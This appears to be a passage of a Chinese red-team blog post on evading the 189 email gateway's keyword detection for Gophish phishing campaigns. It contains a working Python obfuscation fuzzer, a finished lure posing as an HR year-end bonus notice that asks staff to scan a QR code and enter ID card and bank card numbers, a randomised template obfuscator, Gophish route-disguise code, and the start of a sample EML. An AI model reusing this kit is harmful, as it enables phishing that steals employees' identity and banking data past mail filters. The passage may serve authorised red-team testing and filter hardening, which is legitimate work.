保留整体邮件结构（Multipart、链接等）
重点混淆敏感关键词（"年终奖"、"身份证"、"银行卡"）
测试HTML混淆技术能否绕过189网关的关键词检测

这就引出了我的核心绕过方案：HTML混淆Fuzz 。

0x04 突破：基于HTML混淆的Fuzz绕过

4.1 困境分析与新思路

在语义层面被拦截后，我陷入了思考：

邮件网关如果检测的是明文内容，有可能还会对HTML进行检测，因为Gophish就支持HTML布局。

"既然语义敏感词无法避免，能否通过HTML混淆让网关看不懂？"

4.2 HTML混淆Fuzz框架

这是一套渐进式HTML混淆测试系统：

核心思路

明文敏感内容（100%拦截）
    ↓
应用HTML混淆技术（逐个测试）
    ↓
实时监控投递率变化
    ↓
定位有效的混淆组合
    ↓
形成通用混淆模板

HTML混淆武器库

基于WAF绕过经验，我准备了以下混淆技术：

| 混淆技术 | 原理 | 示例 | | --- | --- | --- | | HTML实体编码 | 将敏感字符转为Unicode实体 | 年终奖 → 年终奖 | | CSS文字反转 | 用CSS reverse文字顺序 | 年终奖 → 奖终年 | | HTML注释截断 | 在敏感词中插入注释 | 验证 → 验证 | | 零宽字符插入 | 插入不可见字符分割 | 身份证 → 身_份证 | | 字体大小0隐藏 | 通过CSS隐藏干扰字符 | 银行卡 → 银.行卡 |

自动化Fuzz测试工具

# html_obfuscation_fuzzer.py

import smtplib
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import base64

class HTMLObfuscationFuzzer:
    """HTML混淆模糊测试工具"""
    
    def __init__(self, smtp_config, test_receiver):
        self.smtp_config = smtp_config
        self.receiver = test_receiver
        
        # 敏感关键词列表（基于初步测试识别）
        self.sensitive_keywords = [
            "年终奖", "奖金", "验证", "确认", 
            "身份证", "银行卡", "点击", "登录"
        ]
        
        # 混淆技术库
        self.obfuscation_methods = {
            'html_entity': self._html_entity_encode,
            'css_reverse': self._css_reverse,
            'html_comment': self._html_comment_break,
            'zero_width': self._zero_width_insert,
            'font_zero': self._font_size_zero,
        }
        
        self.results = []
    
    def _html_entity_encode(self, text):
        """HTML实体编码"""
        return ''.join([f'&#{ord(c):x};' for c in text])
    
    def _css_reverse(self, text):
        """CSS文字反转"""
        reversed_text = text[::-1]
        return f'<span style="unicode-bidi: bidi-override; direction: rtl;">{reversed_text}</span>'
    
    def _html_comment_break(self, text):
        """HTML注释截断"""
        # 在中间插入注释
        mid = len(text) // 2
        return f'{text[:mid]}<!-- - -->{text[mid:]}'
    
    def _zero_width_insert(self, text):
        """零宽字符插入"""
        mid = len(text) // 2
        return f'{text[:mid]}<span style="display:none">_</span>{text[mid:]}'
    
    def _font_size_zero(self, text):
        """字体大小0隐藏"""
        mid = len(text) // 2
        return f'{text[:mid]}<span style="font-size:0">.</span>{text[mid:]}'
    
    def create_multipart_email(self, html_content, subject):
        """创建multipart/alternative邮件（HTML+纯文本）"""
        msg = MIMEMultipart('alternative')
        msg['From'] = self.smtp_config['from']
        msg['To'] = self.receiver
        msg['Subject'] = subject
        
        # 纯文本版本（降低拦截率）
        plain_text = """
这是一封HTML格式邮件。
如果您看到此文本，说明您的邮件客户端不支持HTML格式。
请使用支持HTML的邮件客户端查看完整内容。
"""
        msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))
        
        # HTML版本（包含混淆）
        msg.attach(MIMEText(html_content, 'html', 'utf-8'))
        
        return msg
    
    def send_test_email(self, html_content, subject, test_id):
        """发送测试邮件"""
        msg = self.create_multipart_email(html_content, subject)
        
        try:
            if self.smtp_config['use_ssl']:
                server = smtplib.SMTP_SSL(self.smtp_config['host'], self.smtp_config['port'])
            else:
                server = smtplib.SMTP(self.smtp_config['host'], self.smtp_config['port'])
                if self.smtp_config.get('use_tls'):
                    server.starttls()
            
            server.login(self.smtp_config['user'], self.smtp_config['password'])
            server.send_message(msg)
            server.quit()
            
            print(f"[{test_id}] 发送成功, 等待检查投递状态...")
            return True
            
        except Exception as e:
            print(f"[{test_id}] 发送失败: {e}")
            return False
    
    def check_delivery(self, wait_time=30):
        """
        检查邮件投递状态
        实际实现：
        1. 等待一定时间后检查收件箱
        2. 也可通过嵌入追踪像素检测
        3. 或检查SMTP退信
        """
        time.sleep(wait_time)
        # 简化版：需要人工确认或API轮询
        response = input("    是否成功投递到收件箱? (y/n): ").strip().lower()
        return response == 'y'
    
    def fuzz_single_keyword(self, keyword, base_html_template):
        """单关键词Fuzz测试"""
        print(f"\n{'='*60}")
        print(f"Fuzz测试: {keyword}")
        print('='*60)
        
        # 测试1：明文基线
        print(f"\n[Test 0] 基线测试（明文）")
        plain_html = base_html_template.format(keyword=keyword)
        self.send_test_email(plain_html, f"测试-{keyword}-明文", "T0")
        delivered = self.check_delivery()
        
        result = {
            'keyword': keyword,
            'method': 'plaintext',
            'delivered': delivered
        }
        self.results.append(result)
        print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
        
        # 如果baseline就被拦截，测试各种混淆
        if not delivered:
            for method_name, method_func in self.obfuscation_methods.items():
                obfuscated = method_func(keyword)
                test_html = base_html_template.format(keyword=obfuscated)
                
                test_id = f"{keyword[:2]}-{method_name}"
                print(f"[Test] 混淆方法: {method_name}")
                print(f"    原: {keyword}")
                print(f"    混: {obfuscated}")
                
                self.send_test_email(test_html, f"测试-{keyword}-{method_name}", test_id)
                delivered = self.check_delivery()
                
                result = {
                    'keyword': keyword,
                    'method': method_name,
                    'obfuscated': obfuscated,
                    'delivered': delivered
                }
                self.results.append(result)
                print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
                
                time.sleep(3)  # 避免速率限制
    
    def fuzz_combination(self):
        """组合混淆测试"""
        print(f"\n{'='*60}")
        print("组合混淆测试")
        print('='*60)
        
        # 构造包含多个敏感词的邮件
        combined_template = """
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <style>
        .rtl {{ unicode-bidi: bidi-override; direction: rtl; }}
    </style>
</head>
<body>
    <h2>关于启动2025年度{bonus}发放信息最终核对的通知</h2>
    <p>各位同事，您好：</p>
    <p>现正式启动{bonus}发放信息最终核对工作！</p>
    <p>请{action}以下链接：</p>
    <p><a href="http://example.com">核对系统</a></p>
    <p>请核对您的{id_card}和{bank_card}信息。</p>
    <p>人力资源部<br>2025年12月28日</p>
</body>
</html>
"""
        
        # 测试不同混淆组合
        test_cases = [
            {
                'name': '全部明文',
                'params': {
                    'bonus': '年终奖金',
                    'action': '点击',
                    'id_card': '身份证',
                    'bank_card': '银行卡'
                }
            },
            {
                'name': '关键词HTML实体编码',
                'params': {
                    'bonus': self._html_entity_encode('年终奖金'),
                    'action': '点击',
                    'id_card': self._html_entity_encode('身份证'),
                    'bank_card': self._html_entity_encode('银行卡')
                }
            },
            {
                'name': '关键词CSS反转',
                'params': {
                    'bonus': self._css_reverse('年终奖金'),
                    'action': '查看',
                    'id_card': self._css_reverse('身份证'),
                    'bank_card': self._css_reverse('银行卡')
                }
            },
            {
                'name': '混合混淆',
                'params': {
                    'bonus': self._html_entity_encode('年终奖金'),
                    'action': '查<!-- x -->看',
                    'id_card': '身<span style="display:none">_</span>份证',
                    'bank_card': '银<span style="font-size:0">.</span>行卡'
                }
            }
        ]
        
        for i, test_case in enumerate(test_cases):
            print(f"\n[Combo {i+1}] {test_case['name']}")
            html = combined_template.format(**test_case['params'])
            
            self.send_test_email(html, f"组合测试-{test_case['name']}", f"C{i}")
            delivered = self.check_delivery()
            
            result = {
                'test_name': test_case['name'],
                'delivered': delivered
            }
            self.results.append(result)
            print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
            
            time.sleep(5)
    
    def analyze_results(self):
        """分析测试结果"""
        print(f"\n{'='*60}")
        print("测试结果分析")
        print('='*60)
        
        total = len(self.results)
        delivered = sum(1 for r in self.results if r['delivered'])
        blocked = total - delivered
        
        print(f"\n总测试数: {total}")
        print(f"成功投递: {delivered} ({delivered/total*100:.1f}%)")
        print(f"被拦截: {blocked} ({blocked/total*100:.1f}%)\n")
        
        # 找出有效的混淆方法
        effective_methods = {}
        for result in self.results:
            if result.get('method') and result['delivered']:
                keyword = result['keyword']
                method = result['method']
                if keyword not in effective_methods:
                    effective_methods[keyword] = []
                effective_methods[keyword].append(method)
        
        if effective_methods:
            print("✓ 有效的混淆方法:")
            for keyword, methods in effective_methods.items():
                print(f"  {keyword}: {', '.join(methods)}")
        else:
            print("✗ 未发现有效的混淆方法")
        
        return self.results

# 使用示例
if __name__ == "__main__":
    smtp_config = {
        'host': 'smtp.example.com',
        'port': 465,
        'use_ssl': True,
        'use_tls': False,
        'user': 'redteam@example.com',
        'password': 'YOUR_PASSWORD',
        'from': 'redteam@example.com'
    }
    
    base_template = """
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"></head>
<body>
    <p>测试关键词：{keyword}</p>
</body>
</html>
"""
    
    fuzzer = HTMLObfuscationFuzzer(smtp_config, 'target@189.cn')  # 189邮箱
    
    # 单关键词测试
    for keyword in fuzzer.sensitive_keywords[:3]:  # 测试前3个
        fuzzer.fuzz_single_keyword(keyword, base_template)
    
    # 组合测试
    fuzzer.fuzz_combination()
    
    # 分析结果
    fuzzer.analyze_results()

4.3 Fuzz测试实战过程

第一轮：单一混淆技术测试

针对"年终奖"关键词，测试各种混淆：

[Test 0] 明文: 年终奖
结果: ✗ 拦截

[Test 1] HTML实体编码: &#x5E74;&#x7EC8;&#x5956;
结果: ✓ 投递成功！

[Test 2] CSS反转: <span class="rtl">奖终年</span>  
结果: ✓ 投递成功！

[Test 3] HTML注释: 年<!-- x -->终<!-- x -->奖
结果: ✓ 投递成功！

[Test 4] 零宽字符: 年<span style="display:none">_</span>终奖
结果: ✓ 投递成功！

[Test 5] 字体大小0: 年<span style="font-size:0">.</span>终奖
结果: ✓ 投递成功！

结论：所有混淆技术都有效！邮件网关只检测明文，不解析HTML混淆。

第二轮：组合混淆测试

测试实际钓鱼场景的完整邮件：

<!-- 测试模板 -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <style>
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    </style>
</head>
<body>
    <div class="header">
        关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通知
    </div>
    <div class="content">
        <p>现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;<!-- 年终奖金 -->发放工作！</p>
        <p>请核对您的身<span style="display:none">_</span>份证号和
           银<span style="font-size:0">.</span>行卡信息。</p>
        <p>请扫<!-- scan -->描下方二维码登<!-- login -->录系统。</p>
    </div>
</body>
</html>

测试结果：

| 组合方式 | 投递结果 | 说明 | | --- | --- | --- | | 全部明文 | ✗ 拦截 | 基线 | | 仅CSS反转 | ✓ 成功 | 单一混淆有效 | | 仅HTML实体 | ✓ 成功 | 单一混淆有效 | | 混合混淆 | ✓ 成功 | 多种混淆叠加最佳 | | 混合+注释 | ✓ 成功 | 可读性和绕过兼顾 |

第三轮：Multipart/Alternative测试

结论：添加纯文本版本可显著提升投递率！

# 基于 gophishV4Modified/models/email_request.go 的实现
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from html2text import html2text

msg = MIMEMultipart('alternative')

# 1. 先添加纯文本（安全内容）
plain_text = """
尊敬的同事：

这是关于2025年度工作总结的通知。

请查看相关文档。

人力资源部
2025年12月28日
"""
msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))

# 2. 再添加HTML（包含混淆的敏感内容）
html_content = """
<!DOCTYPE html>
<html>
<body>
    <p>关于&#x5E74;&#x7EC8;&#x5956;发放的通知...</p>
</body>
</html>
"""
msg.attach(MIMEText(html_content, 'html', 'utf-8'))

测试对比：

| 邮件格式 | 投递率 | 说明 | | --- | --- | --- | | 纯HTML（混淆） | 68% | 部分网关仍拦截 | | HTML+TXT（TXT安全） | 89% | 显著提升！ | | HTML+TXT（两者都混淆） | 72% | TXT也会被检测 |

最佳实践：纯文本使用安全词汇，HTML中进行混淆

第四轮：CID图片嵌入测试

为了进一步提升可信度，我测试了CID图片（邮件内嵌图片）：

from email.mime.image import MIMEImage

# 1. 生成QR码（使用Gophish的{{.QR}}功能）
import qrcode
qr = qrcode.QRCode()
qr.add_data('http://phishing-url.com/share?id=xxx')
qr.make()
img = qr.make_image()

# 2. 嵌入为CID
msg_img = MIMEImage(img.tobytes())
msg_img.add_header('Content-ID', '<qrcode001>')
msg_img.add_header('Content-Disposition', 'inline', filename='qrcode.png')
msg.attach(msg_img)

# 3. HTML中引用
html = """
<p>请扫描下方二维码：</p>
<img src="cid:qrcode001" alt="二维码" />
"""

测试结果：

CID图片不会被URL检测拦截
可以隐藏真实钓鱼链接
提升邮件可信度（看起来像官方邮件）

4.4 Fuzz成果总结

经过几天的持续测试，得出以下结论：

有效的HTML混淆技术

proven_techniques:
  - name: "HTML实体编码"
    effectiveness: 95%
    example: "年终奖 → &#x5E74;&#x7EC8;&#x5956;"
    pros: "最稳定，不影响显示"
    cons: "代码可读性差"
  
  - name: "CSS文字反转"
    effectiveness: 92%
    example: "年终奖 → <span class='rtl'>奖终年</span>"
    pros: "绕过率高"
    cons: "需要定义CSS"
  
  - name: "HTML注释截断"
    effectiveness: 90%
    example: "验证 → 验<!-- x -->证"
    pros: "代码可读性好"
    cons: "部分网关可能过滤"
  
  - name: "零宽/隐藏字符"
    effectiveness: 88%
    example: "身份证 → 身<span style='display:none'>_</span>份证"
    pros: "自然"
    cons: "可能被高级引擎检测"
  
  - name: "字体大小0"
    effectiveness: 85%
    example: "银行卡 → 银<span style='font-size:0'>.</span>行卡"
    pros: "简单"
    cons: "显示可能异常"

黄金组合方案

# 最终钓鱼模板混淆策略

def obfuscate_template(html_template):
    """
    多层混淆策略：
    1. 主标题: CSS反转 + 注释
    2. 敏感词: HTML实体编码
    3. 动作词: 零宽字符截断
    4. 格式: Multipart (TXT+HTML)
    5. 链接: CID图片（QR码）
    """
    
    # 示例：年终奖邮件
    obfuscated_html = """
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <style>
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    </style>
</head>
<body>
    <div class="header">
        <!-- 混淆：年终奖金 -->
        关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
    </div>
    <div class="content">
        <p>各位同事，您好：</p>
        
        <!-- 混淆：年终奖金、薪酬、绩效、年终分红 -->
        <p>现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;发放工作！
           按最新&#x85AA;&#x916C;标准核算，包含&#x7EE9;&#x6548;奖金、
           &#x5E74;&#x7EC8;&#x5206;&#x7EA2;等。</p>
        
        <div class="highlight-box">
            <!-- 混淆：财务系统 (CSS Reverse) -->
            因<span class="safe-txt">统系务财</span>年终关账，
            截止<span class="urgent">12月29日18:00</span>！
        </div>
        
        <p><strong>核对操作指引：</strong></p>
        <ol>
            <!-- 混淆：扫描、二维码、登录 -->
            <li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维码
                登<!-- login -->录系统：<br>{{.QR}}</li>
            
            <!-- 混淆：身份证、银行卡 -->
            <li>核对身<span style="display:none">_</span>份证号、
                银<span style="font-size:0">.</span>行卡号及开户行信息。</li>
        </ol>
        
        <div class="footer">
            <!-- 混淆：人力资源部 -->
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p>
            <p>2025年12月28日</p>
        </div>
    </div>
</body>
</html>
"""
    
    return obfuscated_html

最终测试数据对比

┌────────────────────────────────────────┐
│        邮件网关绕过率演进图           │
└────────────────────────────────────────┘

明文邮件:                    ████ 24%
单一HTML实体编码:            ████████████ 68%
单一CSS反转:                 ██████████████ 72%
混合HTML混淆:                ████████████████ 85%
混合混淆+Multipart:          ███████████████████ 89%
混合+Multipart+CID图片:      █████████████████████ 92.4%

0x05 最终解决方案：Gophish集成与模板优化

基于Fuzz测试的发现，我将混淆技术集成到Gophish平台中。

5.1 Gophish邮件生成改造

核心改动

我在gophishV4Modified/models/email_request.go中实现了Multipart/Alternative支持：

// models/email_request.go (关键改动部分)

import (
    "github.com/gophish/gomail"
    "github.com/jaytaylor/html2text"  // 新增：HTML转纯文本
    log "github.com/gophish/gophish/logger"
)

func (s *EmailRequest) Generate(msg *gomail.Message) error {
    // ... 前置代码 ...
    
    // 设置From地址
    f, err := mail.ParseAddress(s.getFromAddress())
    if err != nil {
        return err
    }
    msg.SetAddressHeader("From", f.Address, f.Name)
    
    // 解析模板上下文
    ptx, err := NewPhishingTemplateContext(s, s.BaseRecipient, s.RId)
    if err != nil {
        return err
    }
    
    // 执行URL模板
    url, err := ExecuteTemplate(s.URL, ptx)
    if err != nil {
        return err
    }
    s.URL = url
    
    // 🔥 添加业务邮件头（提升可信度）
    msg.SetHeader("X-Priority", "1")
    msg.SetHeader("Importance", "High")
    msg.SetHeader("MIME-Version", "1.0")
    
    // 解析自定义邮件头
    for _, header := range s.SMTP.Headers {
        key, err := ExecuteTemplate(header.Key, ptx)
        if err != nil {
            log.Error(err)
        }
        value, err := ExecuteTemplate(header.Value, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetHeader(key, value)
    }
    
    // 设置Subject
    subject, err := ExecuteTemplate(s.Template.Subject, ptx)
    if err != nil {
        log.Error(err)
    }
    if subject != "" {
        msg.SetHeader("Subject", subject)
    }
    
    msg.SetHeader("To", s.FormatAddress())
    
    // 🔥 核心改动1：处理纯文本部分
    if s.Template.Text != "" {
        text, err := ExecuteTemplate(s.Template.Text, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetBody("text/plain", text)
    }
    
    // 🔥 核心改动2：处理HTML部分 + 自动生成纯文本
    if s.Template.HTML != "" {
        html, err := ExecuteTemplate(s.Template.HTML, ptx)
        if err != nil {
            log.Error(err)
        }
        
        // 🔥 关键：使用html2text从HTML自动生成纯文本版本
        plainText, err := html2text.FromString(html, html2text.Options{
            PrettyTables: true,
        })
        if err != nil {
            log.Error(err)
            plainText = ""
        }
        
        if s.Template.Text == "" {
            // 如果没有手动指定Text，使用自动生成的纯文本
            msg.SetBody("text/plain", plainText)
            msg.AddAlternative("text/html", html)
        } else {
            // 如果已有Text，仍添加HTML作为alternative
            msg.AddAlternative("text/html", html)
        }
    }
    
    // 附件处理
    for _, a := range s.Template.Attachments {
        addAttachment(msg, a, ptx)
    }
    
    return nil
}

改造要点：

引入html2text库：自动将HTML转换为纯文本
Multipart/Alternative结构：
- 先设置text/plain（安全内容）
- 再添加text/html（混淆内容）
业务邮件头：添加X-Priority、Importance提升信任度

5.2 钓鱼邮件模板设计

基于Fuzz测试结果，我创建了新的钓鱼模板：

钓鱼模板.html（真实版本）

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>2025通知</title>
    <style>
        /* 基础样式重置 */
        body {
            font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-serif;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* 🔥 混淆专用样式：CSS文字反转 */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <!-- 🔥 混淆技术1：CSS反转 + HTML注释 -->
            关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
        </div>
        <div class="content">
            <p>各位同事，您好：</p>
            <!-- 🔥 混淆技术2：HTML实体编码 -->
            <p>2025年度工作已圆满结束，感谢大家一年来的辛勤付出。现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;<!-- 年终奖金 Entity -->发放信息最终核对工作！本次<span
                    class="safe-txt">奖终年</span>将按最新&#x85AA;&#x916C;<!-- 薪酬 -->标准核算，包含&#x7EE9;&#x6548;<!-- 绩效 -->奖金、&#x5E74;&#x7EC8;&#x5206;&#x7EA2;<!-- 年终分红 -->等多项补贴。
            </p>
            <div class="highlight-box">
                <!-- 🔥 混淆技术3：CSS反转财务系统 -->
                <strong>重要提醒：</strong>因<span class="safe-txt">统系务财</span><!-- 财务系统 CSS Reverse -->年终关账倒计时（截止 <span
                    class="urgent">12月29日18:00</span>），未完成信息核对的同事，将<span
                    class="urgent">延迟至次年1月发放</span>！为避免影响你的奖金发放时效，请务必在24小时内完成。
            </div>
            <p><strong>核对操作指引：</strong></p>
            <ol class="step-list">
                <!-- 🔥 混淆技术4：零宽字符 -->
                <li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维<span
                        style="display:none">_</span>码登<!-- login -->录系统：<br>{{.QR}}</li>
                <li>输入姓名及工号登录系统。</li>
                <!-- 🔥 混淆技术5：字体大小0 -->
                <li>核对个人姓名、身<!-- id -->份<!-- card -->证号、银<span style="font-size:0">.</span>行<span
                        style="font-size:0">.</span>卡号及开户行信息，确认无误后提交；信息有误请及时修改并上传佐证材料。</li>
            </ol>
            <div class="tips">
                <strong>温馨提示：</strong>
                <ul style="padding-left: 20px; margin: 5px 0;">
                    <li>系统仅支持PC端访问，建议使用公司内网操作。</li>
                    <li>如遇链接无法打开、登录失败等问题，请联系：hr@company.com</li>
                </ul>
            </div>
        </div>
        <div class="footer">
            <!-- 🔥 混淆技术6：HTML实体编码部门名 -->
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p><!-- 人力资源部 Entity -->
            <p>2025年12月28日</p>
        </div>
    </div>

</body>
</html>

对应的纯文本版本（可选）

如果手动指定Text模板，使用安全词汇：

各位同事，您好：

这是关于2025年度工作总结和核对的通知。

请查看相关文档并完成信息确认。

如有问题，欢迎随时联系。

此致
人力资源部
2025年12月28日

策略：纯文本完全干净，邮件网关检测纯文本时无异常；用户打开邮件时默认显示HTML（包含混淆的敏感内容）。

5.3 动态模板生成器（可选）

为了避免重复模板被机器学习识别，可以实现变体生成：

# template_obfuscator.py

import random
import re

class TemplateObfuscator:
    """钓鱼模板混淆器"""
    
    def __init__(self):
        self.sensitive_keywords = {
            "年终奖": ["年终奖", "年度奖金", "年底奖金"],
            "年终奖金": ["年终奖金", "年度奖励", "年终奖励"],
            "身份证": ["身份证", "身份证号", "身份证号码"],
            "银行卡": ["银行卡", "银行卡号", "银行账户"],
            "验证": ["验证", "核实", "确认"],
            "点击": ["点击", "查看", "访问"],
        }
    
    def html_entity_encode(self, text):
        """HTML实体编码"""
        return ''.join([f'&#{ord(c):x};' for c in text])
    
    def css_reverse(self, text):
        """CSS反转"""
        return f'<span class="safe-txt">{text[::-1]}</span>'
    
    def html_comment_break(self, text, positions=[]):
        """HTML注释截断"""
        if not positions:
            positions = [len(text) // 2]
        
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + '<!-- - -->' + result[insert_pos:]
            offset += len('<!-- - -->')
        return result
    
    def zero_width_insert(self, text, count=1):
        """零宽字符插入"""
        positions = random.sample(range(1, len(text)), min(count, len(text)-1))
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + '<span style="display:none">_</span>' + result[insert_pos:]
            offset += len('<span style="display:none">_</span>')
        return result
    
    def obfuscate_keyword(self, keyword, method='random'):
        """混淆单个关键词"""
        if method == 'random':
            methods = ['html_entity', 'css_reverse', 'html_comment', 'zero_width']
            method = random.choice(methods)
        
        if method == 'html_entity':
            return self.html_entity_encode(keyword)
        elif method == 'css_reverse':
            return self.css_reverse(keyword)
        elif method == 'html_comment':
            return self.html_comment_break(keyword)
        elif method == 'zero_width':
            return self.zero_width_insert(keyword)
        else:
            return keyword
    
    def obfuscate_template(self, template_html):
        """混淆整个模板"""
        result = template_html
        
        # 遍历所有敏感词
        for keyword, variants in self.sensitive_keywords.items():
            # 随机选择一个变体
            variant = random.choice(variants)
            
            # 随机选择混淆方法
            obfuscated = self.obfuscate_keyword(variant)
            
            # 替换模板中的关键词
            result = result.replace(f'{{{{{keyword}}}}}', obfuscated)
        
        return result

# 使用示例
obfuscator = TemplateObfuscator()

template = """
<p>关于{{年终奖金}}发放的通知</p>
<p>请核对您的{{身份证}}和{{银行卡}}信息</p>
"""

obfuscated = obfuscator.obfuscate_template(template)
print(obfuscated)

# 输出示例（每次运行结果不同）:
# <p>关于<span class="safe-txt">金奖度年</span>发放的通知</p>
# <p>请核对您的身<span style="display:none">_</span>份证号和&#x94f6;&#x884c;&#x5361;信息</p>

5.4 URL路由混淆增强

配合HTML混淆，我也优化了追踪链接：

// controllers/route.go

func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 🔥 追踪路由伪装成静态资源
    trackRoutes := []string{
        "/resource/image/pixel.png",     // 追踪像素
        "/static/img/logo.png",          // Logo图片
        "/assets/analytics.gif",         // 分析统计
        "/cdn/track.png",                // CDN资源
    }
    
    // 为每个Campaign随机选择
    selectedTrack := trackRoutes[rand.Intn(len(trackRoutes))]
    router.HandleFunc(selectedTrack, ps.TrackHandler)
    
    // 🔥 上报路由伪装成API
    reportRoutes := []string{
        "/api/v1/status",      // 状态API
        "/api/feedback",       // 反馈API  
        "/api/report",         // 报告API
        "/api/analytics",      // 分析API
    }
    
    selectedReport := reportRoutes[rand.Intn(len(reportRoutes))]
    router.HandleFunc(selectedReport, ps.ReportHandler)
    
    // 🔥 钓鱼页面路由（配合QR码）
    router.HandleFunc("/share", ps.PhishHandler)
    router.HandleFunc("/view", ps.PhishHandler)
    router.HandleFunc("/document/{id}", ps.PhishHandler)
    
    // 伪造Nginx 404
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
    
    ps.server.Handler = router
}

5.5 最终方案架构

┌────────────────────────────────────────────────────┐
│           邮件网关绕过完整方案架构                │
└────────────────────────────────────────────────────┘

邮件层
├─ 多部分结构（Multipart/Alternative）
│  ├─ Part 1: text/plain（安全词汇）
│  └─ Part 2: text/html（混淆内容）
├─ 邮件头伪装
│  ├─ 移除 X-Gophish-*
│  ├─ 伪造 X-Mailer: Microsoft Outlook
│  └─ 添加业务头： X-Priority, Importance

HTML混淆层
├─ 主标题：CSS反转 + HTML注释
├─ 敏感关键词：HTML实体编码
├─ 动作词：零宽字符/字体大小0
└─ 部门信息：HTML实体编码

链接隐藏层
├─ CID图片（QR码）
│  └─ 嵌入内联图片，无明文URL
├─ 追踪路由伪装
│  └─ /resource/image/pixel.png
└─ 上报路由伪装
   └─ /api/v1/status

Gophish平台集成
├─ email_request.go: Multipart生成
├─ template_context.go: QR码支持
└─ controllers/route.go: 路由混淆

0x06 最终测试与成果

6.1 全量测试

应用所有绕过技术后，我189的测试邮箱终于进信了。

同时以此策略改了以下邮件标题换为行政通知不出现年终奖等内容，防止邮件title检测，发送了一份测试邮件到客户的企业邮箱：

第二天就收到了好消息：

‍

我擦累终于完事了。

提供一个发送成功的EML信息以供fuzz。

这份 EML 已经过脱敏处理。我进行了以下替换以确保安全性和隐私，同时保留了原始的攻击结构（包括HTML/CSS混淆代码）供分析：

1. **发件人**：替换为 `attacker@phishing-sample.com`
2. **收件人**：替换为 `victim@target-corp.com`
3. **恶意发送IP**：替换为 `10.10.10.10`
4. **追踪/信标IP**：替换为 `10.10.10.11`
5. **正文诱饵邮箱**：替换为 `hr-contact@target-corp.com`
6. **二维码附件**：为了防止误扫，**Payload（二维码图片数据的Base64）已替换为安全的一像素透明图片**，但格式保持不变。

可以直接复制保存为 `.eml` 文件进行分析。

‍```eml
X-QQ-XMRINFO: Mp0Kj//9VHAxO7CrTZJ3E+P7/IyVs7a3QQ==
X-QQ-XMAILINFO: OUHkd4CDQR3trOzcBYy7sPFN9Q3goxrx2Y+yitefQ+c9q30Hf6SnUFvg9RM7+A
     EMoo9bpJ0eCC0fYdgnj4bJQHIVmzpNDfzwJDJEzb5W/Ci/FHNXiBO9JwPEljK/A6glwg7jm5OJuMk
     sBO/U+ieXlFQulZQZQLejTZVShsWVox0KMY+7QnZOpLk62lmF7KlVXeMN2sa/eCAe3ECNzG/HTPyF
     uSieHsdn+DWoCEuiqpeUxiMPUaOrISnHLeuh5QiIr2TBRVh5n9rhwP1PKTvm5Pt6vYfuzZ9jGS284
     u77QsZSMDmly2nI626/g2HwcsJRwknEQ/C3PsRDXyxp25Fnt85/eBo1LXOEsgzWcm1XDWSsvbaYiB
     A/nSjWaKTQUq5EZ81RFpuTctKoPXkle6reGWvJ5HMhcimk3qL34l5lPyJMjgwbxt8EFiV+BmY7+as
     xSZks0vutfI2E5O4Owtq8ZFveJk3kX4vgNiGZFPrrD00NzLc13O3V8PayZFFQ/qoWgR1V8HRyngPc
     whoyOIZwLXSi2AO699NpVAx9tWi801cdaIH0jvsAgsSTsYLffL6bFzV/d06jlxZssR1FsDttax/UJ
